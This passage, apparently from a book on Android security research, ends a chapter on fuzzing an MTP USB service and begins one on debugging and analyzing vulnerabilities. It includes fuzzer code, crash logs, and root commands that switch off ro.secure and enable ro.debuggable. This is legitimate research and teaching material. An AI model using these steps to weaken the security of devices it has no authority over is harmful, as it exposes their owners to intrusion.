fields_desc = [ LEShortEnumField("ResCode", 0, ResCodes),
146
LEIntField("SessionID", 0),
147
LEIntField("TransactionID", 1),
148
LEIntField("Parameter1", 0),
149
LEIntField("Parameter2", 0),
150
LEIntField("Parameter3", 0),
151
LEIntField("Parameter4", 0),
152
LEIntField("Parameter5", 0) ]
These two packets represent the two most important of the four MTP transaction types. For Operation transactions, the OpCode field is selected from the
OpCodes dictionary defined previously. Likewise, Response transactions use
the ResCodes dictionary.
Although these objects describe the packets used by the fuzzer, they do not
implement the input generation entirely on their own. Olle implements the
remainder of input generation in the examples/mtp_fuzzer.py file. The source
code follows.
31
32
33
34
35
36
trans = struct.unpack("I", os.urandom(4))[0]
r = struct.unpack("H", os.urandom(2))[0]
opcode = OpCodes.items()[r%len(OpCodes)][1]
if opcode == OpCodes["CloseSession"]:
opcode = 0
cmd = Container()/fuzz(Operation(OpCode=opcode,
TransactionID=trans, SessionID=dev.current_session()))
Lines 31 through 33 select a random MTP Transaction type and Operation
code. Lines 34 and 35 handle the special case when the CloseSession Operation
is randomly selected. If the session is closed, the fuzzer will be unlikely to
exercise any of the underlying code that requires an open session. In MTP, this
is nearly all operations. Finally, the Operation request packet is built on line
36. Note that Olle uses the fuzz function from Scapy, which fills in the various
packet fields with random values. At this point, the fuzzed input is generated
and ready to be delivered to the target device.
Processing Inputs
The MTP specification discusses the Initiator and Responder roles within the
protocol flow. As with most USB device communications, the host is the Initiator
and the device is the Responder. As such, Olle coded his fuzzer to repeatedly
send Operation packets and read Response packets. To do this, he used PyUSB,
which is a popular set of Python bindings to the libusb communications library.
The API provided by PyUSB is clean and easy to use.
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Olle starts by creating an MTPDevice class in USBFuzz/MTP.py. He derives
this class from PyUSB’s BulkPipe class, which is used, as its name suggests, for
communicating with USB Bulk Pipes. Apart from a couple of timing-related
options, this class needs the Vendor Id and the Product Id of the target device.
After creating the initial connection to the device, much of the functionality
pertains to monitoring rather than delivering inputs. As such, it will be discussed
further in the next section.
Back in examples/mtp_fuzz.py, Olle implemented the rest of the input processing code. The following is the relevant code:
16 s = dev.new_session()
17 cmd = Container()/Operation(OpCode=OpCodes["OpenSession"],
Parameter1=s)
18 cmd.show2()
19 dev.send(cmd)
20 response = dev.read_response()
[...]
27 while True:
[...]
38
dev.send(cmd)
39
response = dev.read_response(trans)
On lines 16 through 20, Olle opens a session with the MTP device. This process
consists of sending an Operation packet using the OpenSession operation code
followed by reading a Response packet. As shown on lines 38 and 39, this really
is all that is done to deliver inputs for processing. The typical USB master-slave
relationship between the host and the device makes processing inputs easy
compared to other types of fuzzing. With inputs getting processed, the only
thing left is to monitor the system for ill behavior.
Monitoring Testing
Fuzzing most USB devices provides relatively little means for monitoring what is
happening inside the device itself. Android devices are different in this regard.
It’s much easier to use typical monitoring mechanisms on Android. In fact, the
methods discussed earlier in this chapter work great. Still, as mentioned in the
earlier “USB Fuzzing Challenges” section, the device might reset the USB bus
or stop responding. These situations require special handling.
Olle’s usb-device-fuzzing tool does not do any monitoring on the device
itself. This fact isn’t surprising, as he was not targeting Android devices when
he developed his fuzzer. However, Olle does go to lengths to monitor the device
itself from the host. The MTPDevice class implements a method called is_alive
in order to keep tabs on whether the device is responsive. In this method, Olle
first checks to see if the device is alive using the underlying BulkPipe class.
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Following that, he sends a Skip Operation packet using an unknown transaction
identifier (0xdeadbeef). This is almost sure to illicit some sort of error response
signifying that the device is ready to process more inputs.
In the main fuzzer code in examples/mtp_fuzzer.py, Olle starts by resetting
the device. This puts the device in what is presumed to be a known good state.
Then, in the main loop, Olle calls the is_alive method after each interaction with
the device. If the device stops responding, he again resets the device to return
it to working order. This is a good strategy for keeping the fuzzer running for
long periods of time. However, running this fuzzer against an Android device
made it apparent that it is insufficient. In addition to using is_alive, Olle also
prints out the Operation and Response packets that are sent and received. This
helps determine what caused a particular issue, but it isn’t perfect. In particular,
it’s difficult to replay inputs this way. Also, it’s difficult to tie an input directly
to a crash.
When targeting an Android device with this fuzzer, monitoring Android’s
system log yields excellent feedback. However, it’s still necessary to deal with
frequent device resets. Thankfully, this is pretty simple using the following
command.
dev:~/android/usb-device-fuzzing $ while true; do adb wait-for-device \
logcat; done
[.. log output here ..]
With this command running, it’s possible to see debugging messages logged
by the MtpServer code running in the device. Like when fuzzing Chrome for
Android, monitoring the system log immediately reveals a bunch of error messages
that indicate certain parts of the protocol are not supported. Commenting these
out will increase efficiency and is unlikely to impact the potential to find bugs.
When we ran this fuzzer against a 2012 Nexus 7 with Android 4.4, a crash
appeared within only a few minutes. The following message was logged when
the process hosting the MtpServer thread crashed:
Fatal signal 11 (SIGSEGV) at 0x66f9f002 (code=1), thread 413 (MtpServer)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/nakasi/grouper:4.4/KRT16O/907817:user/releasekeys'
Revision: '0'
pid: 398, tid: 413, name: MtpServer >>> android.process.media <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 66f9f002
r0 5a3adb58 r1 66f92008 r2 66f9f000 r3 0000cff8
r4 66fa2dd8 r5 000033fb r6 5a3adb58 r7 00009820
r8 220b0ff6 r9 63ccbef0 sl 63ccc1c4 fp 63ccbef0
ip 63cc3a11 sp 6a8e3a8c lr 63cc3fc9 pc 63cc3d2a cpsr 000f0030
Looking closer showed that this was a harmless crash, but the fact that a
crash happened so quickly indicates there may be other issues lurking within.
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We leave additional fuzzing against MtpServer, other USB protocols, devices,
and so on to you if you’re interested. All in all, this section shows that even
applying existing public fuzzers can find bugs in Android.
Summary
This chapter provided all of the information needed to get started fuzzing on
Android. It explored the high-level process of fuzzing, including identifying
targets, creating test inputs, processing those inputs, and monitoring for ill
behavior. It explained the challenges and benefits of fuzzing on Android.
N O T E Chapter 11 provides additional information about fuzzing SMS on Android
devices.
The chapter was rounded out with in-depth discussions of three fuzzers.
Two of these fuzzers were developed specifically for this chapter. The last
fuzzer was a public fuzzer that was simply targeted at an Android device. In
each case, the fuzzer led to the discovery of issues in the underlying code. This
shows that fuzzing is an effective technique for discovering bugs and security
vulnerabilities lurking inside Android devices.
The next chapter shows you how to gain a deeper understanding of bugs
and vulnerabilities through debugging and vulnerability analysis. Applying
the concepts within allows you to harvest fuzz results for security bugs, paving
the way for turning them into working exploits.
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CHAPTER
7
Debugging and Analyzing
Vulnerabilities
It’s very difficult—arguably impossible—to create programs that are free of
bugs. Whether the goal is to extinguish bugs or to exploit them, liberal application of debugging tools and techniques is the best path to understanding what
went wrong. Debuggers allow researchers to inspect running programs, check
hypotheses, verify data flow, catch interesting program states, or even modify
behavior at runtime. In the information security industry, debuggers are essential to analyzing vulnerability causes and judging just how severe issues are.
This chapter explores the various facilities and tools available for debugging
on the Android operating system. It provides guidance on how to set up an
environment to achieve maximum efficiency when debugging. Using some
example code and a real vulnerability, you walk through the debugging process
and see how to analyze crashes to determine their root cause and exploitability.
Getting All Available Information
The first step to any successful debugging or vulnerability analysis session is
to gather all available information. Examples of valuable information include
documentation, source code, binaries, symbol files, and applicable tools. This
section explains why these pieces of information are important and how you
use them to achieve greater efficacy when debugging.
205
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Look for documentation about the specific target, protocols that the target
uses, file formats the target supports, and so on. In general, the more you know
going in, the better chance of a successful outcome. Also, having easily accessible
documentation during analysis often helps overcome unexpected difficulties
quickly.
C R O S S  R E F E R E N C E Information about how and where to obtain source code
for various Android devices is covered in Appendix B.
The source code to the target can be invaluable during analysis. Reading
source code is usually much more efficient than reverse-engineering assembly
code, which is often very tedious. Further, access to source code gives you the
ability to rebuild the target with symbols. As discussed in the “Debugging with
Symbols” section later in this chapter, symbols makes it possible to debug at
the source-code level. If source code for the target itself is not available, look
for source code to competing products, derivative works, or ancient precursors.
Though they probably will not match the assembly, sometimes you get lucky.
Different programmers, even with wildly different styles, tend to approach
certain problems the same way. In the end, every little bit of information helps.
Binaries are useful for two reasons. First, the binaries from some devices
contain partial symbols. Symbols provide valuable function information such
as function names, as well as parameter names and types. Symbols bridge
the gap between source code and binary code. Second, even without symbols,
binaries provide a map to the program. Using static analysis tools to reverse
engineer binaries yields a wealth of information. For example, disassemblers
reconstruct the data and control flow from the binary. They facilitate navigating
the program based on control flow, which makes it easier to get oriented in the
debugger and find interesting program locations.
Symbols are more important on ARM-based systems than on x86 systems.
As discussed in Chapter 9, ARM processors have several execution modes. In
addition to names and types, symbols are also used to encode the processor
mode used to execute each function. Further, ARM processors often store readonly constants used by a function immediately following the function’s code
itself. Symbols are also used to indicate where this data lies. These special types
of symbols are particularly important when debugging. Debuggers encounter
issues when they don’t have access to symbols, especially when displaying stack
traces or inserting breakpoints. For example, the instruction used to install a
breakpoint differs between processor modes. If the wrong one is used, it could
lead to a program crash, the breakpoint being missed, or even a debugger crash.
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For these reasons, symbols are the most precious commodity when debugging
ARM binaries on Android.
Finally, having the right tools for the job always makes the job easier.
Disassemblers such as IDA Pro and radare2 provide a window into binary code.
Most disassemblers are extensible using plug-ins or scripts. For example, IDA
Pro has a plug-in application programming interface (API) and two scripting
engines (IDC and Python), and radare2 is embeddable and provides bindings
for several programming languages. Tools that extend these disassemblers may
prove to be indispensable during analysis, especially when symbols are not
available. Depending on the particular target program, other tools may also
apply. Utilities that expose what’s happening at the network, file system, system
call, or library API level provide valuable perspectives on a program’s execution.
Choosing a Toolchain
A toolchain is a collection of tools that are used to develop a product. Usually,
a toolchain includes a compiler, linker, debugger, and any necessary system
libraries. Simply put, building a toolchain or choosing an existing one is the
first step to building your code. For the purpose of this chapter, the debugger
is the most interesting component. As such, you need to choose a workable
toolchain accordingly.
For Android, the entity that builds a particular device selects the toolchain
during development. As a researcher trying to debug the compiler’s output, the
choice affects you directly. Each toolchain represents a snapshot of the tools it
contains. In some cases, different versions of the same toolchain are incompatible. For example, using a debugger from version A on a binary produced by
a compiler from version B may not work, or it may even cause the debugger to
crash. Further, many toolchains have various bugs. To minimize compatibility
issues, it is recommended that you use the same toolchain that the manufacturer
used. Unfortunately, determining exactly which toolchain the manufacturer
used can be difficult.
In the Android and ARM Linux ecosystems, there are a variety of debuggers
from which to choose. This includes open source projects, as well as commercial
products. Table 7-1 describes several of the tools that include an ARM Linux
capable debugger.
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Table 7-1: Tools that Include an ARM Linux Debugger
TOOL
DESCRIPTION
IDA Pro
IDA Pro is a commercial disassembler product that includes a remote
debugging server for Android.
Debootstrap
Maintained by the Debian Project, this tool allows running the GNU
Debugger (GDB) on a device.
Linaro
Linaro provides toolchains for several versions of Android going back to
Gingerbread.
RVDS
ARM’s official compiler toolchain is commercial but evaluation copies are
available.
Sourcery
Formerly Sourcery G++, Mentor Graphics’s toolchain is available in evaluation, commercial, and Lite editions.
Android
NDK
The official Android Native Development Kit (NDK) enables app developers
to include native code in their apps.
AOSP
Prebuilt
The Android Open Source Project (AOSP) repository includes a prebuilt
toolchain that is used to build AOSP firmware images.
In the course of writing this book, the authors experimented with a few of the
toolchains described in this section. Specifically, we tried out IDA’s android_
server, the Debootstrap GDB package, the Android NDK debugger, and the
AOSP debugger. The latter two are documented in detail in the “Debugging
Native Code” section later in this chapter. The best results were achieved when
we used the AOSP prebuilt toolchain in conjunction with an AOSP-supported
Nexus device. Individual mileage may vary.
Debugging with Crash Dumps
The simplest debugging facility provided by Android is the system log. Accessing
the system log is accomplished by running the logcat utility on the device. It
is also accessible using the logcat Android Debug Bridge (ADB) device command. We introduced this facility in Chapter 2 and used it in Chapters 4 and 6
to watch for various system events. Monitoring the system log puts a plethora
of real-time feedback, including exceptions and crash dumps, front and center.
We highly recommend monitoring the system log whenever you do any testing
or debugging on an Android device.
System Logs
When an exception occurs in a Dalvik application, including in the Android
Framework, the exception detail is written to the system log. The following excerpt
from the system log of a Motorola Droid 3 shows one such exception occurring.
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D/AndroidRuntime: Shutting down VM
W/dalvikvm: threadid=1: thread exiting with uncaught exception
(group=0x4001e560)
E/AndroidRuntime: FATAL EXCEPTION: main
E/AndroidRuntime: java.lang.RuntimeException: Error receiving broadcast
Intent
{ act=android.intent.action.MEDIA_MOUNTED dat=file:///sdcard/nosuchfile }
in
[email protected]
E/AndroidRuntime:
at android.app.LoadedApk$ReceiverDispatcher$Args.
run
(LoadedApk.java:722)
E/AndroidRuntime:
at android.os.Handler.handleCallback(Handler.
java:587)
E/AndroidRuntime:
at android.os.Handler.dispatchMessage(Handler.
java:92)
E/AndroidRuntime:
at android.os.Looper.loop(Looper.java:130)
E/AndroidRuntime:
at
android.app.ActivityThread.main(ActivityThread.java:3821)
E/AndroidRuntime:
at java.lang.reflect.Method.invokeNative(Native
Method)
E/AndroidRuntime:
at java.lang.reflect.Method.invoke(Method.
java:507)
E/AndroidRuntime:
at
com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run
(ZygoteInit.java:839)
E/AndroidRuntime:
at
com.android.internal.os.ZygoteInit.main(ZygoteInit.java:597)
E/AndroidRuntime:
at dalvik.system.NativeStart.main(Native Method)
E/AndroidRuntime: Caused by: java.lang.ArrayIndexOutOfBoundsException
E/AndroidRuntime:
at java.util.ArrayList.get(ArrayList.java:313)
E/AndroidRuntime:
at com.motorola.usb.UsbService.onMediaMounted
(UsbService.java:624)
E/AndroidRuntime:
at
com.motorola.usb.UsbService.access$1100(UsbService.java:54)
E/AndroidRuntime:
at
com.motorola.usb.UsbService$1.onReceive(UsbService.java:384)
E/AndroidRuntime:
at android.app.LoadedApk$ReceiverDispatcher$Args.
run
(LoadedApk.java:709)
E/AndroidRuntime:
... 9 more
In this case, a RuntimeException was raised when receiving a MEDIA_MOUNTED
Intent. The Intent is being processed by the com.motorola.usb.UsbService
Broadcast Receiver. Walking further up the exception stack reveals that an
ArrayIndexOutOfBoundsException occurred in the onMediaMounted function
in the UsbService. Presumably, the exception occurs because the file:///
sdcard/nosuchfile uniform resource indicator (URI) path does not exist. As
seen on the third line, the exception is fatal and causes the service to terminate.
Tombstones
When a crash occurs in native code on Android, the debugger daemon prepares
a brief crash report and writes it to the system log. In addition, debuggerd also
saves the crash report to a file called a tombstone. These files are located in the
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/data/tombstones directory on nearly all Android devices. Because access to
this directory and the files inside it is usually restricted, reading tombstone
files typically requires root access. The following excerpt shows an abbreviated
example of a native code crash log:
255|[email protected]:/ $ ps | lolz
/system/bin/sh: lolz: not found
Fatal signal 13 (SIGPIPE) at 0x00001303 (code=0), thread 4867 (ps)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
Build fingerprint: 'google/occam/mako:4.3/JWR66Y/776638:user/relea...
Revision: '11'
pid: 4867, tid: 4867, name: ps >>> ps <<<
signal 13 (SIGPIPE), code -6 (SI_TKILL), fault addr -------r0 ffffffe0 r1 b8efe0b8 r2 00001000 r3 00000888
r4 b6fa9170 r5 b8efe0b8 r6 00001000 r7 00000004
r8 bedfd718 r9 00000000 sl 00000000 fp bedfda77
ip bedfd76c sp bedfd640 lr b6f80dd5 pc b6f7c060 cpsr 200b0010
d0 75632f7274746120 d1 0000000000000020
d2 0000000000000020 d3 0000000000000020
d4 0000000000000000 d5 0000000000000000
d6 0000000000000000 d7 8af4a6c000000000
d8 0000000000000000 d9 0000000000000000
d10 0000000000000000 d11 0000000000000000
d12 0000000000000000 d13 0000000000000000
d14 0000000000000000 d15 0000000000000000
d16 c1dd406de27353f8 d17 3f50624dd2f1a9fc
d18 41c2cfd7db000000 d19 0000000000000000
d20 0000000000000000 d21 0000000000000000
d22 0000000000000000 d23 0000000000000000
d24 0000000000000000 d25 0000000000000000
d26 0000000000000000 d27 0000000000000000
d28 0000000000000000 d29 0000000000000000
d30 0000000000000000 d31 0000000000000000
scr 00000010
backtrace:
#00 pc
#01 pc
#02 pc
#03 pc
#04 pc
...
0001b060
0001fdd3
0001fe61
00020cad
00022291
/system/lib/libc.so (write+12)
/system/lib/libc.so (__sflush+54)
/system/lib/libc.so (fflush+60)
/system/lib/libc.so
/system/lib/libc.so
The crash in the preceding example is triggered by the SIGPIPE signal. When
the system attempts to pipe the output from the ps command to the lolz command, it finds that lolz does not exist. The operating system then delivers the
SIGPIPE signal to the ps process to tell it to terminate its processing. In addition
to the SIGPIPE signal, several other signals are caught and result in a native
crash log. Most notably, segmentation violations are logged via this facility.
Exclusively using crash dumps for debugging leaves much to be desired.
Researchers turn to interactive debugging when crash dumps are not enough.
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The rest of this chapter focuses on interactive debugging methods and how to
apply them to analyze vulnerabilities.
Remote Debugging
Remote debugging is a form of debugging in which a developer uses a debugger that runs on a separate computer from the target program. This method
is commonly used when the target program uses full screen graphics or, as in
our case, the target device doesn’t provide a suitable interface for debugging. To
achieve remote debugging, a communication channel must be set up between
the two machines. Figure 7-1 depicts a typical remote debugging configuration,
as it applies to Android devices.
USB or Wi-Fi Connection
Figure 7-1: Remote debugging configuration
In this configuration, the developer connects his device to his host machine
either via the same local area network (LAN) or universal serial bus (USB).
When using a LAN, the device connects to the network using Wi-Fi. When
using USB, the device is plugged directly into the host machine. The developer
then runs a debugger server and a debugger client on the Android device and
his host machine, respectively. The client then communicates with the server
to debug the target program.
Remote debugging is the preferred method for debugging on Android. This
methodology is used when debugging both Dalvik code and native code. Because
most Android devices have a relatively small screen and lack a physical keyboard,
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they don’t have debugger-friendly interfaces. As such, it’s easy to see why remote
debugging is preferred.
Debugging Dalvik Code
The Java programming language makes up a large part of the Android software
ecosystem. Many Android apps, as well as much of the Android Framework,
are written in Java and then compiled down to Dalvik bytecode. As with any
significantly complex software stack, programmers make mistakes and bugs
are born. Tracking down, understanding, and addressing these bugs is a job
made far easier with the use of a debugger. Thankfully, many usable tools exist
for debugging Dalvik code.
Dalvik, like its Java cousin, implements a standardized debug interface called
Java Debug Wire Protocol, or JDWP for short. Nearly all of the various tools
that exist for debugging Dalvik and Java programs are built upon this protocol. Although the internals of the protocol are beyond the scope of this book,
studying this protocol may be beneficial to some readers. A good starting point
for obtaining more information is Oracle’s documentation on JDWP at http://
docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html.
At the time of this writing, two official development environments are provided by the Android team. The newer of the two, Android Studio, is based on
IntelliJ IDEA made by JetBrains. Unfortunately, this tool is still in the prerelease
phase. The other tool, the Android Development Tools (ADT) plug-in for the
Eclipse IDE, is and has been the officially supported development environment for Android app developers since the r3 release of the Android Software
Development Kit (SDK).
In addition to development environments, several other tools are built upon
the JDWP standard protocol. For instance, the Android Device Monitor and
Dalvik Debug Monitor Server (DDMS) tools included with the Android SDK use
JDWP. These tools facilitate app profiling and other system-monitoring tasks.
They use JDWP to access app-specific information like threads, heap usage, and
ongoing method calls. Beyond the tools included with the SDK, several other
tools also rely on JDWP. Among these are the traditional Java Debugger (JDB)
program included with Oracle’s Java Development Kit (JDK) and the AndBug
tool demonstrated in Chapter 4. This is by no means an exhaustive list, as JDWP
is used by several other tools not listed in this text.
In an effort to simplify matters, we chose to stick to the officially supported
tools for the demonstrations in this section. Throughout the examples in this
section, we used the following software:
■
Ubuntu 12.04 on amd64
■
Eclipse from eclipse-java-indigo-SR2-linux-gtk-x86_64.tar.gz
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■
Android SDK r22.0.5
■
Android NDK r9
■
Android’s ADT plug-in v22.0.5
To make developers’ lives easier, the Android team started offering a combined
download called the ADT Bundle in late 2012. It includes Eclipse, the ADT plugin, the Android SDK and Platform-tools, and more. Rather than downloading
each component separately, this single download contains everything most
developers need. The only noteworthy exception is the Android NDK, which
is only needed for building apps that contain native code.
Debugging an Example App
Using Eclipse to debug an Android app is easy and straightforward. The Android
SDK comes with a number of sample apps that help you become familiar with
the Eclipse environment. However, a dead simple “Hello World” app is included
in the materials for this chapter on the book’s website: www.wiley.com/go/
androidhackershandbook. We use this app for demonstrative purposes throughout
this section. To follow along, import the HelloWorld project into your Eclipse
workspace using File ➢ Import followed by General ➢ Existing Projects into
Workspace. After Eclipse finishes loading, it displays the Java perspective as
shown in Figure 7-2.
Figure 7-2: Eclipse Java perspective
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To begin debugging the application, click the Debug As icon in the toolbar—
the one that looks like a bug—to bring up the Debug perspective. As its name
implies, this perspective is designed especially for debugging. It displays the
views most pertinent to debugging, which puts the focus on the most relevant
information. Figure 7-3 shows the debug perspective after the debugging session has launched.
Figure 7-3: Eclipse Debug perspective
As you can see, several of the views displayed are not present in the Java
perspective. In fact, the only views common with the Java perspective are the
outline and source code views. In Figure 7-3, the debugger is stopped on a
breakpoint placed in the main activity. This is apparent from the highlighted
line of code and the stack frame selected in the Debug view. Clicking the various stack frames in this view displays the surrounding code in the source code
view. Clicking frames for which no source code is available displays a descriptive error instead. The next section describes how to display source code from
the Android Framework while debugging.
Although this method is straightforward, a lot of things are happening
under the hood. Eclipse automatically handles building a debug version of
the app, installing the app to the device, launching the app, and attaching the
debugger. Debugging applications on an Android device typically requires the
android:debuggable=true flag to be set in the application’s manifest, also known
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as the AndroidManifest.xml file. Later, in the “Debugging Existing Code” section, methods for debugging other types of code are presented.
Showing Framework Source Code
Occasionally, it’s useful to see how the application code is interacting with the
Android Framework. For example, you may be interested in how the application
is being invoked or how calls into the Android Framework are being processed.
Thankfully it’s possible to display the source code for the Android Framework
when clicking stack frames, just as the source code for an app is displayed.
The first thing you need to accomplish this is a properly initialized AOSP
repository. To initialize AOSP properly, follow the build instructions from the
official Android documentation located at http://source.android.com/source/
building.html. When using a Nexus device, as we recommend, pay special
attention to the branch and configuration for the device being used. You can
find these details at http://source.android.com/source/building-devices
.html. The final step for initialization is running the lunch command. After the
AOSP repository is initialized correctly, proceed to the next step.
The next step involves building a class path for Eclipse. From the AOSP root
directory, run the make idegen command to build the idegen.sh script. When
the build is complete, you can find the script in the development/tools/idegen
directory. Before running the script, create the excluded-paths file in the toplevel directory. Exclude all of the directories under the top-level that you don’t
want to include. To make this step easier, an example excluded-paths file, which
includes only code from the frameworks directory, is included in the materials
accompanying this book. When the excluded-paths file is ready, execute the
idegen.sh script. The following shell session excerpt shows the output from a
successful execution:
dev:~/android/source $ ./development/tools/idegen/idegen.sh
Read excludes: 3ms
Traversed tree: 1794ms
dev:~/android/source $ ls -l .classpath
-rw------- 1 jdrake jdrake 20K Aug 25 17:46 .classpath
dev:~/android/source $
The resulting class path data gets written to the .classpath file in the current
directory. You will use this in the next step.
The next step involves creating a new project to contain the source code
files from the class path that you generated. Using the same workspace as the
“Hello World” app from the previous section, create a new Java project with
File ➢ New Project ➢ Java ➢ Java Project. Enter a name for the project, such as
AOSP Framework Source. Deselect the Use Default Location check box and
instead specify the path to the top-level AOSP directory. Here, Eclipse uses the
.classpath file created in the previous step. Click Finish to conclude this step.
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N O T E Due to the sheer size of the Android code, Eclipse may run out of memory
when creating or loading this project. To work around this issue, add the -vmargs
-Xmx1024m command line options when starting Eclipse.
Next, start debugging the example application as in the last section. If the
breakpoint is still set in the main activity’s onCreate function, execution pauses
there. Now, click one of the parent stack frames in the debug view. It should
bring up a Source Not Found error message. Click the Attach Source button.
Revealing the button may require enlarging the window because the window
does not scroll. When the Source Attachment Configuration dialog appears,
click the Workspace button. Select the AOSP Framework Source project that
was created in the previous step and click OK. Click OK again. Finally, click the
stack frame in the debug view again. Voilà! The source code for the Android
Framework function related to selected stack frame should be displayed. Figure
7-4 shows Eclipse displaying the source code for the function that calls the main
activity’s onCreate function.
Figure 7-4: Source for Activity.performCreate in Eclipse
After following the instructions in this section, you can use Eclipse to step
through Android Framework source code. However, some code was intentionally excluded from the class path. Should displaying code from excluded
classes become necessary, modify the included excluded-paths file. Likewise,
if you determine that some included paths aren’t necessary for your debugging
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session, add them to excluded-paths. After modifying excluded-paths, repeat
the process to regenerate the .classpath file.
Debugging Existing Code
Debugging system services and prebuilt apps requires a slightly different
approach. As briefly mentioned, debugging Dalvik code typically requires that
it be contained within an app that has the android:debuggable flag set to true.
As shown in Figure 7-5, firing up DDMS or Android Device Monitor, which
come with the Android SDK, only shows debuggable processes.
Figure 7-5: Android Device Monitor with ro.debuggable=0
As shown, only the com.example.helloworld application appears. This is
typical for a stock device.
An engineering device, which is created by building with the eng build configuration, allows accessing all processes. The primary difference between eng and
user or userdebug builds lies in the values for the ro.secure and ro.debuggable
system properties. Both user and userdebug builds set these values to 1 and
0, respectively; whereas an eng build sets them to 0 and 1. Additionally, eng
builds run the ADB daemon with root privileges. In this section, methods for
modifying these settings on a rooted device and actually attaching to existing
processes are covered.
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Faking a Debug Device
Luckily, modifying a rooted device to enable debugging other code is not terribly involved. There are two avenues to accomplish this; each with its own
advantages and disadvantages. The first method involves modifying the boot
processes of the device. The second method is readily executed on a rooted
device. In either case, special steps are required.
The first method, which isn’t covered in depth in this chapter, involves changing the ro.secure and ro.debuggable settings in the device’s default.prop file.
However, this special file is usually stored in the initrd image. Because this
is a ram disk, modifying it requires extracting and repacking the boot.img for
the device. Although this method can semipermanently enable system-wide
debugging, it also requires the target device to have an unlocked boot loader. If
this method is preferable, you can find more detail on building a custom boot
.img in Chapter 10.
The second method involves following only a few simple steps as the root
user. Using this method avoids the need to unlock the boot loader, but is less
permanent. The effects of following these steps persist only until the device is
rebooted. First, obtain a copy of the setpropex utility, which enables modifying read-only system properties on a rooted device. Use this tool to change the
ro.secure setting to 0 and the ro.debuggable setting to 1.
[email protected]:/data/local/tmp $ su
[email protected]:/data/local/tmp # ./setpropex ro.secure 0
[email protected]:/data/local/tmp # ./setpropex ro.debuggable 1
[email protected]:/data/local/tmp # getprop ro.secure
0
[email protected]:/data/local/tmp # getprop ro.debuggable
1
Next, restart the ADB daemon with root privileges by disconnecting and
using the adb root command from the host machine.
[email protected]:/data/local/tmp # exit
[email protected]:/data/local/tmp $ exit
dev:~/android $ adb root
restarting adbd as root
dev:~/android $ adb shell
[email protected]:/ #
N O T E Some devices, including Nexus devices running Android 4.3, ship with a
version of the adbd binary that does not honor the adb root command. For those
devices, remount the root partition read/write, move /sbin/adbd aside, and copy
over a custom-built userdebug version of adbd.
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The final step is to restart all processes that depend on the Dalvik VM. This
step is not strictly necessary, as any such processes that start after changing the
ro.debuggable property will be debuggable. If the desired process is already
running, it may suffice to restart only that process. However, for long-running
processes and system services, restarting the Dalvik layer is necessary. To force
the Android Dalvik layer to restart, simply kill the system_server process. The
following excerpt shows the required commands:
[email protected]:/data/local/tmp # ps | ./busybox grep system_server
system
527
174
953652 62492 ffffffff 4011c304 S system_server
[email protected]:/data/local/tmp # kill -9 527
[email protected]:/data/local/tmp #
After the kill command is executed, the device should appear to reboot. This
is normal and indicates that the Android Dalvik layer is restarting. The ADB
connection to the device should not be interrupted during this process. When
the home screen reappears, all Dalvik processes should show up as shown in
Figure 7-6.
Figure 7-6: Android Device Monitor with ro.debuggable=1
In addition to showing all processes, Figure 7-6 also shows the threads from
the system_process process. This would not be possible without using an
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engineering device or following the steps outlined in this section. After completing these steps, it is now possible to use DDMS, Android Device Monitor,
or even Eclipse to debug any Dalvik process on the system.
N O T E Pau Oliva’s RootAdb app automates the steps outlined in this section. You
can find the app in Google Play at https://play.google.com/store/apps/
details?id=org.eslack.rootadb.
Attaching to Other Processes
In addition to basic profiling and debugging, a device in full debug mode also
allows debugging any Dalvik processes in real time. Attaching to processes is,
again, a simple step-by-step process.
With Eclipse up and running, change the perspective to the DDMS perspective
using the perspective selector in the upper-right corner. In the Devices view,
select the desired target process, for example system_process. From the Run
menu, select Debug Configurations to open the Debug Configurations dialog
box. Select Remote Java Application from the list on the left side of the dialog
and click the New Launch Configuration button. Enter any arbitrary name in
the Name entry box, for example Attacher. Under the Connect tab, select the
AOSP Framework Source project created in the “Showing Framework Source
Code” section earlier in this chapter. In the Host entry box, enter 127.0.0.1. In
the Port entry box, enter 8700.
N O T E Port 8700 corresponds to whatever process is currently selected inside the
DDMS perspective. Each debuggable process is assigned a unique port as well. Using
the process-specific port creates a debug configuration that is specific to that process,
as expected.
Finally, click the Apply button and then the Debug button.
At this point, Eclipse has attached to the system_process process. Switching
to the Debug perspective shows the active threads for the process in the Debug
view. Clicking the Suspend button stops the selected thread. Figure 7-7 depicts
Eclipse attached to the system_process process, with the WifiManager service
thread suspended.
As before, clicking the stack frames in the threads navigates to the relevant
locations in the source code. The only thing left is to utilize breakpoints and
other features of the Eclipse debugger to track down bugs or explore the inner
workings of the system.
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Figure 7-7: Eclipse attached to system_process
Debugging Native Code
The C and C++ programming languages that are used to develop native code on
Android lack the memory safety that Dalvik provides. With more pitfalls lurking, it is much more likely that mistakes will be made and crashes will occur.
Some of these bugs will be more serious because of the potential for them to be
exploited by an attacker. Consequently, getting to the root cause of the issue is
paramount for both attackers and defenders. In either case, interactively debugging the buggy program is the road most traveled to reach the desired outcome.
This section discusses the various options for debugging native code on
Android. First, we discuss how you can use the Android Native Development
Kit (NDK) to debug the custom native code inside apps you compile. Second, we
demonstrate how to use Eclipse to debug native code. Third, we walk through the
process of using AOSP to debug the Android browser on a Nexus device. Fourth,
we explain how to use AOSP to achieve full source-level interactive debugging.
Finally, we discuss how to debug native code running on a non-Nexus device.
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Debugging with the NDK
Android supports developing custom native code via the Android NDK. Since
revision 4b, the NDK has included a convenient script called ndk-gdb. This
script represents the officially supported method for debugging native code
included in a developer’s Android app. This section describes the requirements,
details the preparation process, explains the inner workings, and discusses the
limitations of this script.
WARNING
The Over-the-Air (OTA) updates for Android version 4.3 introduced
a compatibility issue with debugging using the NDK. You can find more information,
including workarounds, in Issue 58373 in the Android bug tracker. Android 4.4 fixed
this issue.
Preparing an App for Debugging
The first thing that is important to recognize about the NDK’s debugging support
is that it requires a device or emulator running Android 2.2 or newer. Further,
debugging native code with multiple threads requires using Android 2.3 or
newer. Unfortunately, pretty much all code on Android is multithreaded. On
the other hand, the number of devices that run such old versions of Android is
dwindling. Finally, as you might guess, the target app must be built for debugging during the preparation phase.
Preparing your app varies depending on which build system you use. Enabling
debugging for native code using the NDK alone, via ndk-build, is accomplished
by setting the NDK_DEBUG environment variable to 1. If you use Eclipse, you
have to modify project properties, as discussed in the next section. You can also
